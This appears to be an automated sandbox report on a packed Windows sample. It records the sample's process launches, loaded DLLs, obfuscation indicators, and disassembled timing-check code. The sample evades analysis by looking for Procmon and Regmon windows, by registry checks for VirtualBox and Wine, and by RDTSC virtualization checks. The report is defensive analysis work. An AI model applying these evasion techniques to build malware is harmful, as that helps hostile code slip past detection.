Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,2095106671095358693,17802434904325068709,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,16216201613498523600,2861810971136064477,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,2095106671095358693,17802434904325068709,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,16216201613498523600,2861810971136064477,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1889792 > 1048576

Source: file.exe

Static PE information: Raw size of dkvrjkmr is bigger than: 0x100000 < 0x1a3800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.760000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkvrjkmr:EW;dyslrvsf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkvrjkmr:EW;dyslrvsf:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d412d should be: 0x1cff4d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dkvrjkmr
Source: file.exe	Static PE information: section name: dyslrvsf
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D837E8 push eax; retf 0053h	0_3_00D83809
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D837E8 push eax; retf 0053h	0_3_00D83809
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DA500A push 0000003Bh; ret	0_3_00DA500D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DA500A push 0000003Bh; ret	0_3_00DA500D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA878 pushfd ; iretd	0_3_00DAA87A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA87D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DAA85D pushfd ; iretd	0_3_00DAA872

Source: file.exe	Static PE information: section name: entropy: 7.9799640570115535
Source: file.exe	Static PE information: section name: dkvrjkmr entropy: 7.95422039261428

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD310 second address: 7BD324 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F3AB92824A0h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD324 second address: 7BCB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jmp 00007F3AB92655FCh 0x0000000b jmp 00007F3AB92655FBh 0x00000010 push dword ptr [ebp+122D0F8Dh] 0x00000016 sub dword ptr [ebp+122D1BE8h], eax 0x0000001c call dword ptr [ebp+122D27A8h] 0x00000022 pushad 0x00000023 or dword ptr [ebp+122D28FEh], edi 0x00000029 xor eax, eax 0x0000002b add dword ptr [ebp+122D28FEh], eax 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 or dword ptr [ebp+122D28FEh], edi 0x0000003b mov dword ptr [ebp+122D37A7h], eax 0x00000041 mov dword ptr [ebp+122D2206h], ecx 0x00000047 or dword ptr [ebp+122D1C6Ch], ebx 0x0000004d mov esi, 0000003Ch 0x00000052 mov dword ptr [ebp+122D28FEh], esi 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c pushad 0x0000005d mov ebx, dword ptr [ebp+122D393Fh] 0x00000063 jmp 00007F3AB92655FEh 0x00000068 popad 0x00000069 lodsw 0x0000006b mov dword ptr [ebp+122D1D46h], eax 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 jmp 00007F3AB92655FDh 0x0000007a mov dword ptr [ebp+122D1C6Ch], ecx 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 mov dword ptr [ebp+122D28FEh], edi 0x0000008a nop 0x0000008b js 00007F3AB9265600h 0x00000091 pushad 0x00000092 jnc 00007F3AB92655F6h 0x00000098 push edi 0x00000099 pop edi 0x0000009a popad 0x0000009b push eax 0x0000009c push eax 0x0000009d push eax 0x0000009e push edx 0x0000009f pushad 0x000000a0 popad 0x000000a1 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9445B0 second address: 9445BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3AB9282496h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9445BC second address: 9445C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9445C0 second address: 9445C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939745 second address: 939783 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3AB926560Fh 0x00000008 jmp 00007F3AB9265609h 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F3AB92655F6h 0x00000015 jmp 00007F3AB9265605h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94376E second address: 943774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943774 second address: 943778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943BB6 second address: 943BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943BBC second address: 943BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943BC0 second address: 943BD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F3AB9282496h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943E9D second address: 943EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943EA3 second address: 943EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3AB9282496h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943EB1 second address: 943EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3AB92655F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943EBD second address: 943ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3AB9282498h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943ED1 second address: 943EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265604h 0x00000007 jno 00007F3AB92655F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943EEF second address: 943EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946E6D second address: 946EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F3AB926560Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jnl 00007F3AB9265600h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 js 00007F3AB92655F8h 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946EB2 second address: 946EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946EB6 second address: 946EC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a pushad 0x0000000b je 00007F3AB92655F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946EC9 second address: 946EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jng 00007F3AB9282496h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946EDD second address: 946EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB9265604h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946EF5 second address: 946F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov si, 8DFDh 0x0000000d lea ebx, dword ptr [ebp+1245DCB0h] 0x00000013 jmp 00007F3AB92824A6h 0x00000018 xchg eax, ebx 0x00000019 ja 00007F3AB92824B5h 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007F3AB9282496h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947015 second address: 94701B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94701B second address: 94701F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9470D8 second address: 9470E2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3AB92655F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9470E2 second address: 9470E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9470E8 second address: 9470EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9470EC second address: 9470F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9471B7 second address: 947279 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3AB92655F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jmp 00007F3AB9265605h 0x00000014 jmp 00007F3AB9265601h 0x00000019 popad 0x0000001a pop eax 0x0000001b sbb esi, 21C1B3D7h 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F3AB92655F8h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 0000001Bh 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d push 00000000h 0x0000003f jnl 00007F3AB92655FCh 0x00000045 movsx esi, dx 0x00000048 push 00000003h 0x0000004a sub di, B931h 0x0000004f mov di, 9F39h 0x00000053 call 00007F3AB92655F9h 0x00000058 jc 00007F3AB926560Fh 0x0000005e push eax 0x0000005f pushad 0x00000060 jo 00007F3AB92655F8h 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F3AB9265600h 0x0000006d rdtsc
